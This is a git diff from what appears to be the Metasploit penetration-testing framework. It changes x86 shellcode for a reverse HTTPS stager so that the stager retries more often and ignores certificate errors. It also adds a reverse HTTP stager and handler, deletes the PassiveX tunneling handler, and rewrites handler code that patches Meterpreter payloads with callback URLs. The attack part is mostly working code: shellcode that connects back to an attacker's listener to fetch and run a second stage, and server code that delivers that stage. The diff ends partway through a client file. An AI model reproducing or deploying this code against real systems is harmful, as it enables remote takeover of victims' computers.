diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.dll index 1a5dad06d7..628e28852e 100644 Binary files a/data/meterpreter/elevator.dll and b/data/meterpreter/elevator.dll differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index c69c43e0dc..fac3a89540 100644 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.dll b/data/meterpreter/ext_server_espia.dll index bf99531522..3e3afdde3f 100644 Binary files a/data/meterpreter/ext_server_espia.dll and b/data/meterpreter/ext_server_espia.dll differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 725179bee2..2c759a2b2a 100644 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.dll b/data/meterpreter/ext_server_incognito.dll index daa53fdf9f..186743a3fe 100755 Binary files a/data/meterpreter/ext_server_incognito.dll and b/data/meterpreter/ext_server_incognito.dll differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index b1ee74e91c..c79f0c4721 100644 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.dll b/data/meterpreter/ext_server_priv.dll index b5723706b4..8265c6b88e 100755 Binary files a/data/meterpreter/ext_server_priv.dll and b/data/meterpreter/ext_server_priv.dll differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index 3fb8071551..9678638e55 100644 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.dll index 2b4bade22f..907e59c333 100644 Binary files a/data/meterpreter/ext_server_sniffer.dll and b/data/meterpreter/ext_server_sniffer.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index a6f5acb406..6b47ab2ad0 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_stdapi.dll b/data/meterpreter/ext_server_stdapi.dll index 1549c39aea..0bf034c9e9 100755 Binary files a/data/meterpreter/ext_server_stdapi.dll and b/data/meterpreter/ext_server_stdapi.dll differ diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index 8f076f06d4..394e68e810 100644 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and b/data/meterpreter/ext_server_stdapi.x64.dll differ diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.dll index d7543aaa5a..b34a28e3c3 100755 Binary files a/data/meterpreter/metsrv.dll and b/data/meterpreter/metsrv.dll differ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 8da103a82a..8a0cd480f7 100644 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.dll index 05f9d3a928..a2eb650971 100644 Binary files a/data/meterpreter/screenshot.dll and b/data/meterpreter/screenshot.dll differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index 4e3e1cd2e5..acfbee7ba3 100644 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm index 89b21f49e1..8679472710 100644 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm @@ -23,7 +23,7 @@ internetopen: push edi ; LPCTSTR lpszProxyBypass push edi ; LPCTSTR lpszProxyName push edi ; DWORD dwAccessType (PRECONFIG = 0) - push esi ; LPCTSTR lpszAgent + push esi ; LPCTSTR lpszAgent ("wininet\x00") push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) call ebp @@ -49,10 +49,9 @@ httpopenrequest: pop ecx xor edx, edx ; NULL push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags + push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags ;0x80000000 | ; INTERNET_FLAG_RELOAD ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION ;0x00800000 | ; INTERNET_FLAG_SECURE ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID @@ -69,9 +68,20 @@ httpopenrequest: mov esi, eax ; hHttpRequest set_retry: - push byte 0x02 + push byte 0x10 pop ebx +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + httpsendrequest: xor edi, edi push edi ; optional length @@ -84,35 +94,10 @@ httpsendrequest: test eax,eax jnz short allocate_memory -check_ssl: - -; In the case of an invalid certificate authority, we have to wait until the error occurs, -; set an option to disable it, then try it all over again. This wastes shellcode space, -; but its required to use this payload without a valid signed cert. -; push 0x5DE2C5AA ; hash( "kernel32.dll", "GetLastError" ) -; call ebp -; cmp al, 0x0d ; ERROR_INTERNET_INVALID_CA (0x2f0d) - -; Instead of wasting more bytes on GetLastError (which isn't resolving properly on Windows XP), -; we just try a second time if the initial send fails. This provides us with a real retry -; mechanism for free. +try_it_again: dec ebx jz failure - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - ; pop eax ; clear temporary storage (optional) - - ; Try it again - jmp short httpsendrequest + jmp short set_security_options dbl_get_server_host: jmp get_server_host diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_http.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http.asm new file mode 100755 index 0000000000..6bb212243a --- /dev/null +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http.asm @@ -0,0 +1,19 @@ +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%include "./src/block/block_reverse_http.asm" + ; By here we will have performed the reverse_tcp connection and EDI will be our socket. + diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index e5a404940e..e92fb312e9 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -84,7 +84,7 @@ module Exploit::Remote::HttpServer else comm = nil end - + # Default the server host and port to what is required by the mixin. opts = { 'ServerHost' => datastore['SRVHOST'], @@ -317,7 +317,7 @@ module Exploit::Remote::HttpServer # All of this will be for naught in the case of a user behind NAT using a # bind payload but there's nothing we can do about it. # - # NOTE: The address will be incorrect when + # NOTE: The address will be incorrect when # a) LHOST is pointed at a multi/handler on some other box. # or # b) SRVHOST has a value of '0.0.0.0', the user is behind NAT, and we're @@ -829,7 +829,7 @@ module Exploit::Remote::HttpServer::PHPInclude datastore["SSL"] = false start_service datastore["SSL"] = old_ssl - + #if (datastore["SRVHOST"] == "0.0.0.0" and Rex::Socket.is_internal?(srvhost_addr)) # print_error("Warning: the URL used for the include might be wrong!") # print_error("If the target system can route to #{srvhost_addr} it") diff --git a/lib/msf/core/handler.rb b/lib/msf/core/handler.rb index c789bb3d6b..79161f31de 100644 --- a/lib/msf/core/handler.rb +++ b/lib/msf/core/handler.rb @@ -202,7 +202,7 @@ protected return s end - + nil end # diff --git a/lib/msf/core/handler/passivex.rb b/lib/msf/core/handler/passivex.rb deleted file mode 100644 index 54e5323c3d..0000000000 --- a/lib/msf/core/handler/passivex.rb +++ /dev/null @@ -1,514 +0,0 @@ -require 'rex/io/stream_abstraction' -require 'rex/sync/ref' - -module Msf -module Handler - -### -# -# This handler implements the PassiveX reverse HTTP tunneling interface. -# -### -module PassiveX - - include Msf::Handler - - ### - # - # This class wrappers the communication channel built over the HTTP - # communication protocol between a local session and the remote HTTP - # client. - # - ### - class PxSessionChannel - - include Rex::IO::StreamAbstraction - - module PxSocketInterface - - def type? - 'tcp' - end - - def shutdown(how) - return false if not remote - begin - return (remote.shutdown(how) == 0) - rescue ::Exception - end - end - - def peerinfo - if (pi = getpeername) - return pi[1] + ':' + pi[2].to_s - end - end - - def localinfo - if (pi = getlocalname) - return pi[1] + ':' + pi[2].to_s - end - end - - def getlocalname - getsockname - end - - def getsockname - return [2,'',''] if not remote - remote.getsockname - end - - def getpeername - return [2,'',''] if not remote - remote.getpeername - end - - attr_accessor :remote - end - - def initialize(sid) - @remote = nil - @sid = sid - @remote_queue = '' - - initialize_abstraction - - # sf: we don't include Rex::Socket::Tcp as it messes with closing passivex sessions. - lsock.extend( PxSocketInterface ) - lsock.remote = nil - - end - - # - # Closes the stream abstraction and kills the monitor thread. - # - def close - cleanup_abstraction - end - - # - # Sets the remote HTTP client that is to be used for tunneling output - # data to the client side. - # - def remote=(cli) - # If we already have a remote, then close it now that we have a new one. - if (@remote) - begin - @remote.server.close_client(@remote) - rescue - end - end - - @remote = cli - lsock.remote = @remote - - flush_output - end - - # - # Writes data to the local side of the abstraction that comes in from - # the remote. - # - def write_local(buf) - dlog("PassiveX:#{self} Writing #{buf.length} to local side", 'core', LEV_3) - - rsock.put(buf) - end - - # - # Writes data to the remote HTTP client via an indirect queue. - # - def write_remote(buf) - dlog("PassiveX:#{self} Queuing #{buf.length} to remote side", 'core', LEV_3) - - @remote_queue += buf - - flush_output - end - - # - # The write function for Rex::IO::StreamAbstraction.monitor_rsock - # - def write(buf, opts={}) - write_remote(buf) - return buf.length - end - - # - # The close_write function for Rex::IO::StreamAbstraction.monitor_rsock - # - def close_write - - end - - # - # Flushes the output queue if there is an associated output HTTP client. - # - def flush_output - return if (@remote_queue == nil or @remote_queue.length == 0) - resp = Rex::Proto::Http::Response.new - resp.body = @remote_queue - # sf: we must specify a content type - resp['Content-Type'] = 'application/octet-stream' - begin - if (@remote) - dlog("PassiveX:#{self} Flushing remote output queue at #{resp.body.length} bytes", 'core', LEV_3) - # sf: this naughty keepalive was killing the meterpreter over passivex payload, dont re-enable! - #@remote.keepalive = false - @remote.send_response(resp) - @remote = nil - @remote_queue = '' - end - rescue ::Exception - dlog("PassiveX:#{self} Exception during remote queue flush: #{$!}", 'core', LEV_0) - end - end - - end - - # - # A PassiveX mixin that is used to extend the Msf::Session class in order - # to add a reference to the payload handler that created the session in a - # guaranteed fashion. In turn, the cleanup routine for the session is - # modified to call deref_handler on the payload handler if it's defined. - # This is done to ensure that the tunneling handler stays running while - # there are sessions that still have references to it. - # - module PxSession - - def payload_handler=(p) - @payload_handler = p - end - - def cleanup - super - - @payload_handler.deref_handler if (@payload_handler) - end - end - - # - # Class for wrapping reference counting a specific object for passivex. - # - class PxRef - def initialize - refinit - end - - include Rex::Ref - end - - # - # Returns the string representation of the handler type, in this case - # 'reverse_http'. - # - def self.handler_type - return "reverse_http" - end - - # - # Returns the connection-described general handler type, in this case - # 'tunnel'. - # - def self.general_handler_type - "tunnel" - end - - # - # Initializes the PassiveX HTTP tunneling handler. - # - def initialize(info = {}) - super - - register_options( - [ - OptAddress.new('PXHOST', [ true, "The local HTTP listener hostname" ]), - OptPort.new('PXPORT', [ true, "The local HTTP listener port", 8000 ]), - OptString.new('PXURI', [ false, "The URI root for requests", "/" + Rex::Text.rand_text_alphanumeric(32) ]), - OptString.new('PXAXCLSID', [ true, "ActiveX CLSID", "B3AC7307-FEAE-4e43-B2D6-161E68ABA838" ]), - OptString.new('PXAXVER', [ true, "ActiveX DLL Version", "-1,-1,-1,-1" ]), - ], Msf::Handler::PassiveX) - - register_advanced_options( - [ - OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - ], Msf::Handler::PassiveX) - - # Initialize the start of the localized SID pool - self.sid_pool = 0 - self.session_channels = Hash.new - self.handler_ref = PxRef.new - end - - def dll_path - File.join(Msf::Config.install_root, "data", "passivex", "passivex.dll") - end - - # - # Create an HTTP listener that will be connected to and communicated with - # by the payload that is injected, and possibly used for tunneling - # purposes. - # - def setup_handler - - comm = datastore['ReverseListenerComm'] - if (comm.to_s == "local") - comm = ::Rex::Socket::Comm::Local - else - comm = nil - end - - # Start the HTTP server service on this host/port - self.service = Rex::ServiceManager.start( - Rex::Proto::Http::Server, - datastore['PXPORT'].to_i, datastore['PXHOST'], - datastore['SSL'], - { - 'Msf' => framework, - 'MsfExploit' => self, - }, - comm - ) - - # Add the new resource - service.add_resource(datastore['PXURI'], - 'Proc' => Proc.new { |cli, req| - on_request(cli, req) - }, - 'VirtualDirectory' => true) - - dlog("PassiveX listener started on http://#{datastore['PXHOST']}:#{datastore['PXPORT']}#{datastore['PXURI']}", 'core', LEV_2) - - print_status("PassiveX listener started.") - end - - # - # Simply calls stop handler to ensure that things ar ecool. - # - def cleanup_handler - end - - # - # Basically does nothing. The service is already started and listening - # during set up. - # - def start_handler - end - - # - # Stops the service and deinitializes it. - # - def stop_handler - deref_handler - end - - # - # PassiveX payloads have a wait-for-session delay of 30 seconds minimum - # because it can take a bit of time for the OCX to get registered. - # - def wfs_delay - 30 - end - - # - # Called when a new session is created on behalf of this handler. In this - # case, we extend the session so that we can track references to the - # handler since we need to keep the HTTP tunnel up while the session is - # alive. - # - def on_session(session) - super - - # Extend the session, increment handler references, and set up the - # session payload handler. - session.extend(PxSession) - - handler_ref.ref - - session.payload_handler = self - end - - # - # Decrement the references to the handler that was used by this exploit. - # If it reaches zero, stop it. - # - def deref_handler - if (handler_ref.deref) - if (service) - Rex::ServiceManager.stop_service(service) - - self.service.deref - self.service = nil - - print_status("PassiveX listener stopped.") - end - - flush_session_channels - end - end - -protected - - attr_accessor :service # :nodoc: - attr_accessor :sid_pool # :nodoc: - attr_accessor :session_channels # :nodoc: - attr_accessor :handler_ref # :nodoc: - - # - # Processes the HTTP request from the PassiveX client. In this case, when - # a request is made to "/", an HTML body is sent that has an embedded - # object tag. This causes the passivex.dll to be downloaded and - # registered (since registration and downloading have been enabled prior to - # this point). After that, the OCX may create a tunnel or download a - # second stage if instructed by the server. - # - def on_request(cli, req) - sid = nil - resp = Rex::Proto::Http::Response.new - - # Grab the SID if one was supplied in the request header. - if (req['X-Sid'] and - (m = req['X-Sid'].match(/sid=(\d+?)/))) - sid = m[1] - end - - # Process the requested resource. - case req.relative_resource - when "/" - # Get a new sid - self.sid_pool += 1 - nsid = sid_pool - - resp['Content-Type'] = 'text/html' - # natron 2/27/09: modified to work with IE7/IE8. For some reason on IE8 this can spawn extra set - # of processes. It works, so will go ahead and commit changes and debug later to run it down. - resp.body = %Q^ - - - - - ^ + ((stage_payload) ? %Q^ - ^ : "") + %Q^ - - -^ - - # Create a new local PX session with the supplied sid - new_session_channel(nsid) - - print_status("Sending PassiveX main page to client") - when "/passivex.dll" - resp['Content-Type'] = 'application/octet-stream' - resp.body = '' - - File.open(dll_path, "rb") { |f| - resp.body = f.read - } - - print_status("Sending PassiveX DLL (#{resp.body.length} bytes)") - when "/stage" - resp.body = generate_stage - - # Now that we've transmitted a second stage, it's time to indicate - # that we've found a new session. We call handle_connection using - # the lsock of the local stream. - if (s = find_session_channel(sid)) - framework.threads.spawn("PassiveXClient-#{sid}", false, cli) { |cli_copy| - begin - s.remote = cli_copy - handle_connection(s.lsock) - rescue ::Exception - elog("Exception raised during PX handle connection: #{$!}", 'core', LEV_1) - - dlog("Call stack:\n#{$@.join("\n")}", 'core', LEV_3) - end - } - end - - print_status("Sending stage to sid #{sid} (#{resp.body.length} bytes)") - when "/tunnel_in" - s.write_local(req.body) if (s = find_session_channel(sid)) - when "/tunnel_out" - cli.keepalive = true - resp = nil - s.remote = cli if (s = find_session_channel(sid)) - else - resp.code = 404 - resp.message = "Not found" - end - - cli.send_response(resp) if (resp) - end - - # - # Creates a new session with the supplied sid. - # - def new_session_channel(sid) - self.session_channels[sid.to_i] = PxSessionChannel.new(sid) - end - - # - # Finds a session based on the supplied sid - # - def find_session_channel(sid) - session_channels[sid.to_i] - end - - # - # Flushes all existing session_channels and cleans up any resources associated with - # them. - # - def flush_session_channels - session_channels.each_pair { |sid, session| - session.close - } - - session_channels = Hash.new - end - -end - -end -end diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb new file mode 100644 index 0000000000..bc2a66df2d --- /dev/null +++ b/lib/msf/core/handler/reverse_http.rb @@ -0,0 +1,216 @@ +require 'rex/io/stream_abstraction' +require 'rex/sync/ref' + +module Msf +module Handler + +### +# +# This handler implements the HTTP SSL tunneling interface. +# +### +module ReverseHttp + + include Msf::Handler + + # + # Returns the string representation of the handler type, in this case + # 'reverse_http'. + # + def self.handler_type + return "reverse_http" + end + + # + # Returns the connection-described general handler type, in this case + # 'tunnel'. + # + def self.general_handler_type + "tunnel" + end + + # + # Initializes the HTTP SSL tunneling handler. + # + def initialize(info = {}) + super + + register_options( + [ + OptString.new('LHOST', [ true, "The local listener hostname" ]), + OptPort.new('LPORT', [ true, "The local listener port", 8443 ]) + ], Msf::Handler::ReverseHttps) + + register_advanced_options( + [ + OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), + OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]), + OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]) + ], Msf::Handler::ReverseHttps) + end + + # + # Create a HTTP listener + # + def setup_handler + + comm = datastore['ReverseListenerComm'] + if (comm.to_s == "local") + comm = ::Rex::Socket::Comm::Local + else + comm = nil + end + + # Start the HTTPS server service on this host/port + self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, + datastore['LPORT'].to_i, + '0.0.0.0', + false, + { + 'Msf' => framework, + 'MsfExploit' => self, + }, + comm + ) + + # Create a reference to ourselves + obj = self + + # Add the new resource + service.add_resource("/", + 'Proc' => Proc.new { |cli, req| + on_request(cli, req, obj) + }, + 'VirtualDirectory' => true) + + self.conn_ids = [] + print_status("Started HTTP reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/") + end + + # + # Simply calls stop handler to ensure that things are cool. + # + def cleanup_handler + end + + # + # Basically does nothing. The service is already started and listening + # during set up. + # + def start_handler + end + + # + # Removes the / handler, possibly stopping the service if no sessions are + # active on sub-urls. + # + def stop_handler + self.service.remove_resource("/") + end + + attr_accessor :service # :nodoc: + attr_accessor :conn_ids + +protected + + # + # Parses the HTTPS request + # + def on_request(cli, req, obj) + sid = nil + resp = Rex::Proto::Http::Response.new + + print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...") + + # Process the requested resource. + case req.relative_resource + when /^\/A?INITM?/ + + url = '' + + print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") + resp['Content-Type'] = 'application/octet-stream' + + blob = obj.stage_payload + + # Replace the transport string first (TRANSPORT_SOCKET_SSL + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = "METERPRETER_TRANSPORT_HTTP\x00" + blob[i, str.length] = str + end + print_status("Patched transport at offset #{i}...") + + conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16) + i = blob.index("https://" + ("X" * 256)) + if i + url = "http://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00" + blob[i, url.length] = url + end + print_status("Patched URL at offset #{i}...") + + i = blob.index([0xb64be661].pack("V")) + if i + str = [ datastore['SessionExpirationTimeout'] ].pack("V") + blob[i, str.length] = str + end + print_status("Patched Expiration Timeout at offset #{i}...") + + + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ datastore['SessionCommunicationTimeout'] ].pack("V") + blob[i, str.length] = str + end + print_status("Patched Communication Timeout at offset #{i}...") + + resp.body = blob + + conn_ids << conn_id + + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false + }) + when /^\/(CONN_.*)\// + resp.body = "" + conn_id = $1 + + if not self.conn_ids.include?(conn_id) + print_status("Incoming orphaned session #{conn_id}, reattaching...") + conn_ids << conn_id + + # Short-circuit the payload's handle_connection processing for create_session + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => false + }) + end + else + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...") + resp.code = 200 + resp.message = "OK" + resp.body = "

No site configured at this address

" + end + + cli.send_response(resp) if (resp) + + # Force this socket to be closed + obj.service.close_client( cli ) + end + + +end + +end +end + diff --git a/lib/msf/core/handler/reverse_https.rb b/lib/msf/core/handler/reverse_https.rb index a7a43b07ce..3624eb64b8 100644 --- a/lib/msf/core/handler/reverse_https.rb +++ b/lib/msf/core/handler/reverse_https.rb @@ -38,28 +38,29 @@ module ReverseHttps register_options( [ OptString.new('LHOST', [ true, "The local listener hostname" ]), - OptPort.new('LPORT', [ true, "The local listener port", 8443 ]), - OptString.new('TARGETID', [ false, "The ID of this specific payload instance (4 bytes max)", Rex::Text.rand_text_alphanumeric(4)]), + OptPort.new('LPORT', [ true, "The local listener port", 8443 ]) ], Msf::Handler::ReverseHttps) - + register_advanced_options( [ OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']), - ], Msf::Handler::ReverseHttps) + OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcible shut down', (24*3600*7)]), + OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]) + ], Msf::Handler::ReverseHttps) end # # Create an HTTPS listener # def setup_handler - + comm = datastore['ReverseListenerComm'] if (comm.to_s == "local") comm = ::Rex::Socket::Comm::Local else comm = nil end - + # Start the HTTPS server service on this host/port self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server, datastore['LPORT'].to_i, @@ -69,7 +70,8 @@ module ReverseHttps 'Msf' => framework, 'MsfExploit' => self, }, - comm + comm, + datastore['SSLCert'] ) # Create a reference to ourselves @@ -82,8 +84,7 @@ module ReverseHttps }, 'VirtualDirectory' => true) - dlog("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/", 'core', LEV_2) - + self.conn_ids = [] print_status("Started HTTPS reverse handler on https://#{datastore['LHOST']}:#{datastore['LPORT']}/") end @@ -101,13 +102,15 @@ module ReverseHttps end # - # Stops the service and deinitializes it. + # Removes the / handler, possibly stopping the service if no sessions are + # active on sub-urls. # def stop_handler - Rex::ServiceManager.stop_service(service) + self.service.remove_resource("/") if self.service end attr_accessor :service # :nodoc: + attr_accessor :conn_ids protected @@ -122,42 +125,87 @@ protected # Process the requested resource. case req.relative_resource - when /\/A(.+)/ - target_id = $1 + when /^\/A?INITM?/ - print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{target_id} received...") + url = '' + + print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...") resp['Content-Type'] = 'application/octet-stream' + blob = obj.stage_payload - resp.body = obj.prestage_payload + obj.stage_payload(target_id) + # Replace the transport string first (TRANSPORT_SOCKET_SSL + i = blob.index("METERPRETER_TRANSPORT_SSL") + if i + str = "METERPRETER_TRANSPORT_HTTPS\x00" + blob[i, str.length] = str + end + print_status("Patched transport at offset #{i}...") + conn_id = "CONN_" + Rex::Text.rand_text_alphanumeric(16) + i = blob.index("https://" + ("X" * 256)) + if i + url = "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00" + blob[i, url.length] = url + end + print_status("Patched URL at offset #{i}...") - when /\/B(.+)/ - target_id = $1 + i = blob.index([0xb64be661].pack("V")) + if i + str = [ datastore['SessionExpirationTimeout'] ].pack("V") + blob[i, str.length] = str + end + print_status("Patched Expiration Timeout at offset #{i}...") - # This is the second connection from the actual stage, hand the socket - # off to the real payload handler - print_status("#{cli.peerhost}:#{cli.peerport} Stage connection for target #{target_id} received...") + i = blob.index([0xaf79257f].pack("V")) + if i + str = [ datastore['SessionCommunicationTimeout'] ].pack("V") + blob[i, str.length] = str + end + print_status("Patched Communication Timeout at offset #{i}...") + + resp.body = blob + + conn_ids << conn_id # Short-circuit the payload's handle_connection processing for create_session - create_session(cli, { :skip_ssl => true, :target_id => target_id }) + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => url, + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => true + }) - # Specify this socket as keep-alive to prevent an immediate kill - cli.keepalive = true + when /^\/(CONN_.*)\// + resp.body = "" + conn_id = $1 - # Remove this socket from the polled client list in the server - obj.service.listener.clients.delete(cli) - - return + if true # if not self.conn_ids.include?(conn_id) + print_status("Incoming orphaned session #{conn_id}, reattaching...") + conn_ids << conn_id + create_session(cli, { + :passive_dispatcher => obj.service, + :conn_id => conn_id, + :url => "https://#{datastore['LHOST']}:#{datastore['LPORT']}/" + conn_id + "/\x00", + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :ssl => true + }) + end else - print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource}...") + print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} #{req.inspect}...") resp.code = 200 resp.message = "OK" resp.body = "

No site configured at this address

" end cli.send_response(resp) if (resp) + + # Force this socket to be closed + obj.service.close_client( cli ) end diff --git a/lib/msf/core/payload/windows/dllinject.rb b/lib/msf/core/payload/windows/dllinject.rb index aaee33d794..f98bbc2aa3 100644 --- a/lib/msf/core/payload/windows/dllinject.rb +++ b/lib/msf/core/payload/windows/dllinject.rb @@ -27,7 +27,7 @@ module Payload::Windows::DllInject 'Arch' => ARCH_X86, 'PayloadCompat' => { - 'Convention' => 'sockedi -passivex -https' + 'Convention' => 'sockedi -http -https' }, 'Stage' => { diff --git a/lib/msf/core/payload/windows/exec.rb b/lib/msf/core/payload/windows/exec.rb index a91e9cac0a..ff38b50fb5 100644 --- a/lib/msf/core/payload/windows/exec.rb +++ b/lib/msf/core/payload/windows/exec.rb @@ -26,7 +26,7 @@ module Payload::Windows::Exec 'Arch' => ARCH_X86, 'PayloadCompat' => { - 'Convention' => '-passivex -https', + 'Convention' => '-passivex -http -https', }, 'Payload' => { diff --git a/lib/msf/core/payload/windows/loadlibrary.rb b/lib/msf/core/payload/windows/loadlibrary.rb index 340a22ae5d..e077716b61 100644 --- a/lib/msf/core/payload/windows/loadlibrary.rb +++ b/lib/msf/core/payload/windows/loadlibrary.rb @@ -26,7 +26,7 @@ module Payload::Windows::LoadLibrary 'Arch' => ARCH_X86, 'PayloadCompat' => { - 'Convention' => '-passivex -https', + 'Convention' => '-http -https', }, 'Payload' => { diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 01c079cdb9..85b7f81eea 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -172,7 +172,8 @@ class Channel request = Packet.create_request('core_channel_read') if (length == nil) - length = 65536 + # Default block size to a higher amount for passive dispatcher + length = self.client.passive_service ? (1024*1024) : 65536 end request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) @@ -228,12 +229,12 @@ class Channel # Populate the request request.add_tlv(TLV_TYPE_CHANNEL_ID, self.cid) - + cdata = request.add_tlv(TLV_TYPE_CHANNEL_DATA, buf) if( ( self.flags & CHANNEL_FLAG_COMPRESS ) == CHANNEL_FLAG_COMPRESS ) - cdata.compress = true + cdata.compress = true end - + request.add_tlv(TLV_TYPE_LENGTH, length) request.add_tlvs(addends) @@ -285,7 +286,7 @@ class Channel return true end - + def _close(addends = nil) self.class._close(self.client, self.cid, addends) self.cid = nil diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index 4b26831134..171433aa5d 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -45,7 +45,7 @@ class Client # Cached SSL certificate (required to scale) # @@ssl_ctx = nil - 